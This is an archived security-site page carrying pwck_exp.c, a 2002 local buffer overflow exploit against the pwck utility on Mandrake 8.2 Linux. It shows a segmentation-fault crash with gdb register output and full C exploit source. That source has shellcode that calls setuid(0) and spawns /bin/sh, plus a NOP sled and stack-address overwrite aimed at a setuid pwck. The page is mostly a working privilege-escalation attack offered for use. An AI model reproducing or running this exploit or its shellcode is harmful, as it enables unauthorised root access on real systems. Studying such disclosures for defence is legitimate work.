what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pwck_exp.c

pwck_exp.c
Posted Sep 5, 2002
Authored by Tacettin Karadeniz

Pwck local linux buffer overflow exploit. Tested on Mandrake 8.2.

tags | exploit, overflow, local
systems | linux, mandrake
SHA-256 | fa3f2ddf78013d48703efa19452ce9f8e3c69395f423649d3359d47dbfe38e6c

pwck_exp.c

Change Mirror Download
pwck local buffer overflow

$man pwck
pwck verifies the integrity of the system authentication
information. All entries in the /etc/passwd and
/etc/shadow are checked to see that the entry has the
proper format and valid data in each field. The user is
prompted to delete entries that are improperly formatted
or which have other incorrectable errors. ( man pwck )


[CiLeK@karadenizeregli Taci]# /usr/sbin/pwck `perl -e '{print"A"x2391}'`
Segmentation fault (core dumped)

[CiLeK@karadenizeregli Taci]# gdb /usr/sbin/pwck core
GNU gdb 5.1.1
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `/usr/sbin/pwck
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x00414141 in ?? ()
(gdb) info reg
eax 0x1 1
ecx 0x4eff4040 1325350976
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbfffe454 0xbfffe454
ebp 0x0 0x0
esi 0xbfffeec4 -1073746236
edi 0x804cd80 134532480
eip 0x414141 0x414141
eflags 0x10286 66182

Exploit code:

/* 4 Eylul 2002 / 11:56 :)
*
* pwck_exp.c - pwck local buffer overflow exploit
*
* pwck verifies the integrity of the system authentication
* information. All entries in the /etc/passwd and
* /etc/shadow are checked to see that the entry has the
* proper format and valid data in each field. The user is
* prompted to delete entries that are improperly formatted
* or which have other incorrectable errors. ( man pwck )
*
* By default pwck is not setuid, if +s pwck bingo # :)
*
* [cilek@karadenizeregli cilek]$ ls -la /usr/sbin/pwck
* -rwsr-sr-x 1 root root 19544 Feb 23 2002 /usr/sbin/pwck*
*
* Tested on Mandrake 8.2
*
* tacettin@olympos.org
* tacettinkaradeniz@yahoo.com
*
* KDZ.EREGLI @ 2002
*
* Not: Shellcode cesitli yazilimlardan elde edilmistir. Tamamiyle bana ait
degildir.
*/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_sp(void)

{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

int bsize = 2391;


unsigned long addr;
char *buff;
int i;

if (bsize % 4 != 0) {

bsize = bsize + 4 - (bsize % 4); }

buff = (char *)malloc(bsize);
addr = get_sp();
system("clear");
fprintf(stderr, "pwck exploit..... tacettin@olympos.org\n\n");
fprintf(stderr, "Mandrake 8.2 sisteminde test edilmistir.\n", addr);
fprintf(stderr, "Buffer: %d\n", bsize);


for(i = 0; i < bsize; i++)
{
*(long *)&buff[i] = 0x90;
}
*(long *)&buff[bsize - 4] = addr;
memcpy(buff + bsize - strlen(shellcode) - 8, shellcode, strlen(shellcode));


execl("/usr/sbin/pwck", "pwck", buff, NULL);

return 0;
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close